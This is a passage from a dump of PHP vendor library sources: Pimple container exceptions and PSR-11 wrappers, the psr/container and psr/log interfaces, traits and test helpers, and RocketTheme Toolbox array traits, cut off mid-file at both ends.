* @author Pascal Luna <skalpa@zetareticuli.org>
*/
class ExpectedInvokableException extends \InvalidArgumentException
implements ContainerExceptionInterface
{
}
<?php
/*
* This file is part of Pimple.
*
* Copyright (c) 2009 Fabien Potencier
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
furnished
* to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace Pimple\Exception;
use Psr\Container\ContainerExceptionInterface;
/**
* An attempt to modify a frozen service was made.
*
* @author Pascal Luna <skalpa@zetareticuli.org>
*/
class FrozenServiceException extends \RuntimeException implements
ContainerExceptionInterface
{
/**
* @param string $id Identifier of the frozen service
*/
public function __construct($id)
{
parent::__construct(\sprintf('Cannot override frozen service
"%s".', $id));
}
}
<?php
/*
* This file is part of Pimple.
*
* Copyright (c) 2009 Fabien Potencier
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
furnished
* to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace Pimple\Exception;
use Psr\Container\NotFoundExceptionInterface;
/**
* An attempt to perform an operation that requires a service identifier
was made.
*
* @author Pascal Luna <skalpa@zetareticuli.org>
*/
class InvalidServiceIdentifierException extends \InvalidArgumentException
implements NotFoundExceptionInterface
{
/**
* @param string $id The invalid identifier
*/
public function __construct($id)
{
parent::__construct(\sprintf('Identifier "%s" does
not contain an object definition.', $id));
}
}
<?php
/*
* This file is part of Pimple.
*
* Copyright (c) 2009 Fabien Potencier
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
furnished
* to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace Pimple\Exception;
use Psr\Container\NotFoundExceptionInterface;
/**
* The identifier of a valid service or parameter was expected.
*
* @author Pascal Luna <skalpa@zetareticuli.org>
*/
class UnknownIdentifierException extends \InvalidArgumentException
implements NotFoundExceptionInterface
{
/**
* @param string $id The unknown identifier
*/
public function __construct($id)
{
parent::__construct(\sprintf('Identifier "%s" is not
defined.', $id));
}
}
<?php
/*
* This file is part of Pimple.
*
* Copyright (c) 2009-2017 Fabien Potencier
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
furnished
* to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace Pimple\Psr11;
use Pimple\Container as PimpleContainer;
use Psr\Container\ContainerInterface;
/**
* PSR-11 compliant wrapper.
*
* @author Pascal Luna <skalpa@zetareticuli.org>
*/
final class Container implements ContainerInterface
{
private $pimple;
public function __construct(PimpleContainer $pimple)
{
$this->pimple = $pimple;
}
public function get($id)
{
return $this->pimple[$id];
}
public function has($id)
{
return isset($this->pimple[$id]);
}
}
<?php
/*
* This file is part of Pimple.
*
* Copyright (c) 2009 Fabien Potencier
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
furnished
* to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace Pimple\Psr11;
use Pimple\Container as PimpleContainer;
use Pimple\Exception\UnknownIdentifierException;
use Psr\Container\ContainerInterface;
/**
* Pimple PSR-11 service locator.
*
* @author Pascal Luna <skalpa@zetareticuli.org>
*/
class ServiceLocator implements ContainerInterface
{
private $container;
private $aliases = array();
/**
* @param PimpleContainer $container The Container instance used to
locate services
* @param array $ids Array of service ids that can be
located. String keys can be used to define aliases
*/
public function __construct(PimpleContainer $container, array $ids)
{
$this->container = $container;
foreach ($ids as $key => $id) {
$this->aliases[\is_int($key) ? $id : $key] = $id;
}
}
/**
* {@inheritdoc}
*/
public function get($id)
{
if (!isset($this->aliases[$id])) {
throw new UnknownIdentifierException($id);
}
return $this->container[$this->aliases[$id]];
}
/**
* {@inheritdoc}
*/
public function has($id)
{
return isset($this->aliases[$id]) &&
isset($this->container[$this->aliases[$id]]);
}
}
<?php
/*
* This file is part of Pimple.
*
* Copyright (c) 2009 Fabien Potencier
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
furnished
* to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace Pimple;
/**
* Lazy service iterator.
*
* @author Pascal Luna <skalpa@zetareticuli.org>
*/
final class ServiceIterator implements \Iterator
{
private $container;
private $ids;
public function __construct(Container $container, array $ids)
{
$this->container = $container;
$this->ids = $ids;
}
public function rewind()
{
\reset($this->ids);
}
public function current()
{
return $this->container[\current($this->ids)];
}
public function key()
{
return \current($this->ids);
}
public function next()
{
\next($this->ids);
}
public function valid()
{
return null !== \key($this->ids);
}
}
<?php
/*
* This file is part of Pimple.
*
* Copyright (c) 2009 Fabien Potencier
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
furnished
* to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace Pimple;
/**
* Pimple service provider interface.
*
* @author Fabien Potencier
* @author Dominik Zogg
*/
interface ServiceProviderInterface
{
/**
* Registers services on the given container.
*
* This method should only be used to configure services and
parameters.
* It should not get services.
*
* @param Container $pimple A container instance
*/
public function register(Container $pimple);
}
{
"name": "psr/container",
"type": "library",
"description": "Common Container Interface (PHP FIG
PSR-11)",
"keywords": ["psr", "psr-11",
"container", "container-interop",
"container-interface"],
"homepage": "https://github.com/php-fig/container",
"license": "MIT",
"authors": [
{
"name": "PHP-FIG",
"homepage": "http://www.php-fig.org/"
}
],
"require": {
"php": ">=5.3.0"
},
"autoload": {
"psr-4": {
"Psr\\Container\\": "src/"
}
},
"extra": {
"branch-alias": {
"dev-master": "1.0.x-dev"
}
}
}
<?php
/**
* @license http://www.opensource.org/licenses/mit-license.php MIT (see the
LICENSE file)
*/
namespace Psr\Container;
/**
* Base interface representing a generic exception in a container.
*/
interface ContainerExceptionInterface
{
}
<?php
/**
* @license http://www.opensource.org/licenses/mit-license.php MIT (see the
LICENSE file)
*/
namespace Psr\Container;
/**
* Describes the interface of a container that exposes methods to read its
entries.
*/
interface ContainerInterface
{
/**
* Finds an entry of the container by its identifier and returns it.
*
* @param string $id Identifier of the entry to look for.
*
* @throws NotFoundExceptionInterface No entry was found for **this**
identifier.
* @throws ContainerExceptionInterface Error while retrieving the
entry.
*
* @return mixed Entry.
*/
public function get($id);
/**
* Returns true if the container can return an entry for the given
identifier.
* Returns false otherwise.
*
* `has($id)` returning true does not mean that `get($id)` will not
throw an exception.
* It does however mean that `get($id)` will not throw a
`NotFoundExceptionInterface`.
*
* @param string $id Identifier of the entry to look for.
*
* @return bool
*/
public function has($id);
}
<?php
/**
* @license http://www.opensource.org/licenses/mit-license.php MIT (see the
LICENSE file)
*/
namespace Psr\Container;
/**
* No entry was found in the container.
*/
interface NotFoundExceptionInterface extends ContainerExceptionInterface
{
}
{
"name": "psr/log",
"description": "Common interface for logging
libraries",
"keywords": ["psr", "psr-3",
"log"],
"homepage": "https://github.com/php-fig/log",
"license": "MIT",
"authors": [
{
"name": "PHP-FIG",
"homepage": "http://www.php-fig.org/"
}
],
"require": {
"php": ">=5.3.0"
},
"autoload": {
"psr-4": {
"Psr\\Log\\": "Psr/Log/"
}
},
"extra": {
"branch-alias": {
"dev-master": "1.1.x-dev"
}
}
}
<?php
namespace Psr\Log;
/**
* This is a simple Logger implementation that other Loggers can inherit
from.
*
* It simply delegates all log-level-specific methods to the `log` method
to
* reduce boilerplate code that a simple Logger that does the same thing
with
* messages regardless of the error level has to implement.
*/
abstract class AbstractLogger implements LoggerInterface
{
/**
* System is unusable.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function emergency($message, array $context = array())
{
$this->log(LogLevel::EMERGENCY, $message, $context);
}
/**
* Action must be taken immediately.
*
* Example: Entire website down, database unavailable, etc. This should
* trigger the SMS alerts and wake you up.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function alert($message, array $context = array())
{
$this->log(LogLevel::ALERT, $message, $context);
}
/**
* Critical conditions.
*
* Example: Application component unavailable, unexpected exception.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function critical($message, array $context = array())
{
$this->log(LogLevel::CRITICAL, $message, $context);
}
/**
* Runtime errors that do not require immediate action but should
typically
* be logged and monitored.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function error($message, array $context = array())
{
$this->log(LogLevel::ERROR, $message, $context);
}
/**
* Exceptional occurrences that are not errors.
*
* Example: Use of deprecated APIs, poor use of an API, undesirable
things
* that are not necessarily wrong.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function warning($message, array $context = array())
{
$this->log(LogLevel::WARNING, $message, $context);
}
/**
* Normal but significant events.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function notice($message, array $context = array())
{
$this->log(LogLevel::NOTICE, $message, $context);
}
/**
* Interesting events.
*
* Example: User logs in, SQL logs.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function info($message, array $context = array())
{
$this->log(LogLevel::INFO, $message, $context);
}
/**
* Detailed debug information.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function debug($message, array $context = array())
{
$this->log(LogLevel::DEBUG, $message, $context);
}
}
<?php
namespace Psr\Log;
class InvalidArgumentException extends \InvalidArgumentException
{
}
<?php
namespace Psr\Log;
/**
* Describes a logger-aware instance.
*/
interface LoggerAwareInterface
{
/**
* Sets a logger instance on the object.
*
* @param LoggerInterface $logger
*
* @return void
*/
public function setLogger(LoggerInterface $logger);
}
<?php
namespace Psr\Log;
/**
* Basic Implementation of LoggerAwareInterface.
*/
trait LoggerAwareTrait
{
/**
* The logger instance.
*
* @var LoggerInterface
*/
protected $logger;
/**
* Sets a logger.
*
* @param LoggerInterface $logger
*/
public function setLogger(LoggerInterface $logger)
{
$this->logger = $logger;
}
}
<?php
namespace Psr\Log;
/**
* Describes a logger instance.
*
* The message MUST be a string or object implementing __toString().
*
* The message MAY contain placeholders in the form: {foo} where foo
* will be replaced by the context data in key "foo".
*
* The context array can contain arbitrary data. The only assumption that
* can be made by implementors is that if an Exception instance is given
* to produce a stack trace, it MUST be in a key named
"exception".
*
* See
https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md
* for the full interface specification.
*/
interface LoggerInterface
{
/**
* System is unusable.
*
* @param string $message
* @param mixed[] $context
*
* @return void
*/
public function emergency($message, array $context = array());
/**
* Action must be taken immediately.
*
* Example: Entire website down, database unavailable, etc. This should
* trigger the SMS alerts and wake you up.
*
* @param string $message
* @param mixed[] $context
*
* @return void
*/
public function alert($message, array $context = array());
/**
* Critical conditions.
*
* Example: Application component unavailable, unexpected exception.
*
* @param string $message
* @param mixed[] $context
*
* @return void
*/
public function critical($message, array $context = array());
/**
* Runtime errors that do not require immediate action but should
typically
* be logged and monitored.
*
* @param string $message
* @param mixed[] $context
*
* @return void
*/
public function error($message, array $context = array());
/**
* Exceptional occurrences that are not errors.
*
* Example: Use of deprecated APIs, poor use of an API, undesirable
things
* that are not necessarily wrong.
*
* @param string $message
* @param mixed[] $context
*
* @return void
*/
public function warning($message, array $context = array());
/**
* Normal but significant events.
*
* @param string $message
* @param mixed[] $context
*
* @return void
*/
public function notice($message, array $context = array());
/**
* Interesting events.
*
* Example: User logs in, SQL logs.
*
* @param string $message
* @param mixed[] $context
*
* @return void
*/
public function info($message, array $context = array());
/**
* Detailed debug information.
*
* @param string $message
* @param mixed[] $context
*
* @return void
*/
public function debug($message, array $context = array());
/**
* Logs with an arbitrary level.
*
* @param mixed $level
* @param string $message
* @param mixed[] $context
*
* @return void
*
* @throws \Psr\Log\InvalidArgumentException
*/
public function log($level, $message, array $context = array());
}
<?php
namespace Psr\Log;
/**
* This is a simple Logger trait that classes unable to extend
AbstractLogger
* (because they extend another class, etc) can include.
*
* It simply delegates all log-level-specific methods to the `log` method
to
* reduce boilerplate code that a simple Logger that does the same thing
with
* messages regardless of the error level has to implement.
*/
trait LoggerTrait
{
/**
* System is unusable.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function emergency($message, array $context = array())
{
$this->log(LogLevel::EMERGENCY, $message, $context);
}
/**
* Action must be taken immediately.
*
* Example: Entire website down, database unavailable, etc. This should
* trigger the SMS alerts and wake you up.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function alert($message, array $context = array())
{
$this->log(LogLevel::ALERT, $message, $context);
}
/**
* Critical conditions.
*
* Example: Application component unavailable, unexpected exception.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function critical($message, array $context = array())
{
$this->log(LogLevel::CRITICAL, $message, $context);
}
/**
* Runtime errors that do not require immediate action but should
typically
* be logged and monitored.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function error($message, array $context = array())
{
$this->log(LogLevel::ERROR, $message, $context);
}
/**
* Exceptional occurrences that are not errors.
*
* Example: Use of deprecated APIs, poor use of an API, undesirable
things
* that are not necessarily wrong.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function warning($message, array $context = array())
{
$this->log(LogLevel::WARNING, $message, $context);
}
/**
* Normal but significant events.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function notice($message, array $context = array())
{
$this->log(LogLevel::NOTICE, $message, $context);
}
/**
* Interesting events.
*
* Example: User logs in, SQL logs.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function info($message, array $context = array())
{
$this->log(LogLevel::INFO, $message, $context);
}
/**
* Detailed debug information.
*
* @param string $message
* @param array $context
*
* @return void
*/
public function debug($message, array $context = array())
{
$this->log(LogLevel::DEBUG, $message, $context);
}
/**
* Logs with an arbitrary level.
*
* @param mixed $level
* @param string $message
* @param array $context
*
* @return void
*
* @throws \Psr\Log\InvalidArgumentException
*/
abstract public function log($level, $message, array $context =
array());
}
<?php
namespace Psr\Log;
/**
* Describes log levels.
*/
class LogLevel
{
const EMERGENCY = 'emergency';
const ALERT = 'alert';
const CRITICAL = 'critical';
const ERROR = 'error';
const WARNING = 'warning';
const NOTICE = 'notice';
const INFO = 'info';
const DEBUG = 'debug';
}
<?php
namespace Psr\Log;
/**
* This Logger can be used to avoid conditional log calls.
*
* Logging should always be optional, and if no logger is provided to your
* library creating a NullLogger instance to have something to throw logs
at
* is a good way to avoid littering your code with `if ($this->logger) {
}`
* blocks.
*/
class NullLogger extends AbstractLogger
{
/**
* Logs with an arbitrary level.
*
* @param mixed $level
* @param string $message
* @param array $context
*
* @return void
*
* @throws \Psr\Log\InvalidArgumentException
*/
public function log($level, $message, array $context = array())
{
// noop
}
}
<?php
namespace Psr\Log\Test;
/**
* This class is internal and does not follow the BC promise.
*
* Do NOT use this class in any way.
*
* @internal
*/
class DummyTest
{
public function __toString()
{
return 'DummyTest';
}
}
<?php
namespace Psr\Log\Test;
use Psr\Log\LoggerInterface;
use Psr\Log\LogLevel;
use PHPUnit\Framework\TestCase;
/**
* Provides a base test class for ensuring compliance with the
LoggerInterface.
*
* Implementors can extend the class and implement abstract methods to run
this
* as part of their test suite.
*/
abstract class LoggerInterfaceTest extends TestCase
{
/**
* @return LoggerInterface
*/
abstract public function getLogger();
/**
* This must return the log messages in order.
*
* The simple formatting of the messages is: "<LOG LEVEL>
<MESSAGE>".
*
* Example ->error('Foo') would yield "error
Foo".
*
* @return string[]
*/
abstract public function getLogs();
public function testImplements()
{
$this->assertInstanceOf('Psr\Log\LoggerInterface',
$this->getLogger());
}
/**
* @dataProvider provideLevelsAndMessages
*/
public function testLogsAtAllLevels($level, $message)
{
$logger = $this->getLogger();
$logger->{$level}($message, array('user' =>
'Bob'));
$logger->log($level, $message, array('user' =>
'Bob'));
$expected = array(
$level.' message of level '.$level.' with
context: Bob',
$level.' message of level '.$level.' with
context: Bob',
);
$this->assertEquals($expected, $this->getLogs());
}
public function provideLevelsAndMessages()
{
return array(
LogLevel::EMERGENCY => array(LogLevel::EMERGENCY,
'message of level emergency with context: {user}'),
LogLevel::ALERT => array(LogLevel::ALERT, 'message of
level alert with context: {user}'),
LogLevel::CRITICAL => array(LogLevel::CRITICAL,
'message of level critical with context: {user}'),
LogLevel::ERROR => array(LogLevel::ERROR, 'message of
level error with context: {user}'),
LogLevel::WARNING => array(LogLevel::WARNING, 'message
of level warning with context: {user}'),
LogLevel::NOTICE => array(LogLevel::NOTICE, 'message of
level notice with context: {user}'),
LogLevel::INFO => array(LogLevel::INFO, 'message of
level info with context: {user}'),
LogLevel::DEBUG => array(LogLevel::DEBUG, 'message of
level debug with context: {user}'),
);
}
/**
* @expectedException \Psr\Log\InvalidArgumentException
*/
public function testThrowsOnInvalidLevel()
{
$logger = $this->getLogger();
$logger->log('invalid level', 'Foo');
}
public function testContextReplacement()
{
$logger = $this->getLogger();
$logger->info('{Message {nothing} {user} {foo.bar}
a}', array('user' => 'Bob', 'foo.bar'
=> 'Bar'));
$expected = array('info {Message {nothing} Bob Bar a}');
$this->assertEquals($expected, $this->getLogs());
}
public function testObjectCastToString()
{
if (method_exists($this, 'createPartialMock')) {
$dummy =
$this->createPartialMock('Psr\Log\Test\DummyTest',
array('__toString'));
} else {
$dummy = $this->getMock('Psr\Log\Test\DummyTest',
array('__toString'));
}
$dummy->expects($this->once())
->method('__toString')
->will($this->returnValue('DUMMY'));
$this->getLogger()->warning($dummy);
$expected = array('warning DUMMY');
$this->assertEquals($expected, $this->getLogs());
}
public function testContextCanContainAnything()
{
$closed = fopen('php://memory', 'r');
fclose($closed);
$context = array(
'bool' => true,
'null' => null,
'string' => 'Foo',
'int' => 0,
'float' => 0.5,
'nested' => array('with object' =>
new DummyTest),
'object' => new \DateTime,
'resource' => fopen('php://memory',
'r'),
'closed' => $closed,
);
$this->getLogger()->warning('Crazy context data',
$context);
$expected = array('warning Crazy context data');
$this->assertEquals($expected, $this->getLogs());
}
public function testContextExceptionKeyCanBeExceptionOrOtherValues()
{
$logger = $this->getLogger();
$logger->warning('Random message',
array('exception' => 'oops'));
$logger->critical('Uncaught Exception!',
array('exception' => new \LogicException('Fail')));
$expected = array(
'warning Random message',
'critical Uncaught Exception!'
);
$this->assertEquals($expected, $this->getLogs());
}
}
<?php
namespace Psr\Log\Test;
use Psr\Log\AbstractLogger;
/**
* Used for testing purposes.
*
* It records all records and gives you access to them for verification.
*
* @method bool hasEmergency($record)
* @method bool hasAlert($record)
* @method bool hasCritical($record)
* @method bool hasError($record)
* @method bool hasWarning($record)
* @method bool hasNotice($record)
* @method bool hasInfo($record)
* @method bool hasDebug($record)
*
* @method bool hasEmergencyRecords()
* @method bool hasAlertRecords()
* @method bool hasCriticalRecords()
* @method bool hasErrorRecords()
* @method bool hasWarningRecords()
* @method bool hasNoticeRecords()
* @method bool hasInfoRecords()
* @method bool hasDebugRecords()
*
* @method bool hasEmergencyThatContains($message)
* @method bool hasAlertThatContains($message)
* @method bool hasCriticalThatContains($message)
* @method bool hasErrorThatContains($message)
* @method bool hasWarningThatContains($message)
* @method bool hasNoticeThatContains($message)
* @method bool hasInfoThatContains($message)
* @method bool hasDebugThatContains($message)
*
* @method bool hasEmergencyThatMatches($message)
* @method bool hasAlertThatMatches($message)
* @method bool hasCriticalThatMatches($message)
* @method bool hasErrorThatMatches($message)
* @method bool hasWarningThatMatches($message)
* @method bool hasNoticeThatMatches($message)
* @method bool hasInfoThatMatches($message)
* @method bool hasDebugThatMatches($message)
*
* @method bool hasEmergencyThatPasses($message)
* @method bool hasAlertThatPasses($message)
* @method bool hasCriticalThatPasses($message)
* @method bool hasErrorThatPasses($message)
* @method bool hasWarningThatPasses($message)
* @method bool hasNoticeThatPasses($message)
* @method bool hasInfoThatPasses($message)
* @method bool hasDebugThatPasses($message)
*/
class TestLogger extends AbstractLogger
{
/**
* @var array
*/
public $records = [];
public $recordsByLevel = [];
/**
* @inheritdoc
*/
public function log($level, $message, array $context = [])
{
$record = [
'level' => $level,
'message' => $message,
'context' => $context,
];
$this->recordsByLevel[$record['level']][] = $record;
$this->records[] = $record;
}
public function hasRecords($level)
{
return isset($this->recordsByLevel[$level]);
}
public function hasRecord($record, $level)
{
if (is_string($record)) {
$record = ['message' => $record];
}
return $this->hasRecordThatPasses(function ($rec) use ($record)
{
if ($rec['message'] !== $record['message'])
{
return false;
}
if (isset($record['context']) &&
$rec['context'] !== $record['context']) {
return false;
}
return true;
}, $level);
}
public function hasRecordThatContains($message, $level)
{
return $this->hasRecordThatPasses(function ($rec) use ($message)
{
return strpos($rec['message'], $message) !== false;
}, $level);
}
public function hasRecordThatMatches($regex, $level)
{
return $this->hasRecordThatPasses(function ($rec) use ($regex) {
return preg_match($regex, $rec['message']) > 0;
}, $level);
}
public function hasRecordThatPasses(callable $predicate, $level)
{
if (!isset($this->recordsByLevel[$level])) {
return false;
}
foreach ($this->recordsByLevel[$level] as $i => $rec) {
if (call_user_func($predicate, $rec, $i)) {
return true;
}
}
return false;
}
public function __call($method, $args)
{
if
(preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/',
$method, $matches) > 0) {
$genericMethod = $matches[1] . ('Records' !==
$matches[3] ? 'Record' : '') . $matches[3];
$level = strtolower($matches[2]);
if (method_exists($this, $genericMethod)) {
$args[] = $level;
return call_user_func_array([$this, $genericMethod],
$args);
}
}
throw new \BadMethodCallException('Call to undefined method
' . get_class($this) . '::' . $method . '()');
}
public function reset()
{
$this->records = [];
$this->recordsByLevel = [];
}
}
<?php
namespace RocketTheme\Toolbox\ArrayTraits;
/**
* Implements ArrayAccess interface.
*
* @package RocketTheme\Toolbox\ArrayTraits
* @author RocketTheme
* @license MIT
*
* @property array $items
*/
trait ArrayAccess
{
/**
* Whether or not an offset exists.
*
* @param mixed $offset An offset to check for.
* @return bool Returns TRUE on success or FALSE on failure.
*/
public function offsetExists($offset)
{
return isset($this->items[$offset]);
}
/**
* Returns the value at specified offset.
*
* @param mixed $offset The offset to retrieve.
* @return mixed Can return all value types.
*/
public function offsetGet($offset)
{
return isset($this->items[$offset]) ? $this->items[$offset] :
null;
}
/**
* Assigns a value to the specified offset.
*
* @param mixed $offset The offset to assign the value to.
* @param mixed $value The value to set.
*/
public function offsetSet($offset, $value)
{
if (null === $offset) {
$this->items[] = $value;
} else {
$this->items[$offset] = $value;
}
}
/**
* Unsets an offset.
*
* @param mixed $offset The offset to unset.
*/
public function offsetUnset($offset)
{
// Hack to make Iterator trait work together with unset.
if (isset($this->iteratorUnset) && $offset ==
key($this->items)) {
$this->iteratorUnset = true;
}
unset($this->items[$offset]);
}
}
<?php
namespace RocketTheme\Toolbox\ArrayTraits;
/**
* Implements getters and setters.
*
* @package RocketTheme\Toolbox\ArrayTraits
* @author RocketTheme
* @license MIT
*/
trait ArrayAccessWithGetters
{
use ArrayAccess;
/**
* Magic setter method
*
* @param mixed $offset Asset name value
* @param mixed $value Asset value
*/
public function __set($offset, $value)
{
$this->offsetSet($offset, $value);
}
/**
* Magic getter method
*
* @param mixed $offset Asset name value
* @return mixed Asset value
*/
public function __get($offset)
{
return $this->offsetGet($offset);
}
/**
* Magic method to determine if the attribute is set
*
* @param mixed $offset Asset name value
* @return boolean True if the value is set
*/
public function __isset($offset)
{
return $this->offsetExists($offset);
}
/**
* Magic method to unset the attribute
*
* @param mixed $offset The name value to unset
*/
public function __unset($offset)
{
$this->offsetUnset($offset);
}
}
<?php
namespace RocketTheme\Toolbox\ArrayTraits;
/**
* Implements Constructor for setting items.
*
* @package RocketTheme\Toolbox\ArrayTraits
* @author RocketTheme
* @license MIT
*
* @property array $items
*/
trait Constructor
{
/**
* Constructor to initialize array.
*
* @param array $items Initial items inside the iterator.
*/
public function __construct(array $items = array())
{
$this->items = $items;
}
}
<?php
namespace RocketTheme\Toolbox\ArrayTraits;
/**
* Implements \Countable interface.
*
* @package RocketTheme\Toolbox\ArrayTraits
* @author RocketTheme
* @license MIT
*
* @property array $items
*/
trait Countable
{
/**
* Implements Countable interface.
*
* @return int
*/
public function count()
{
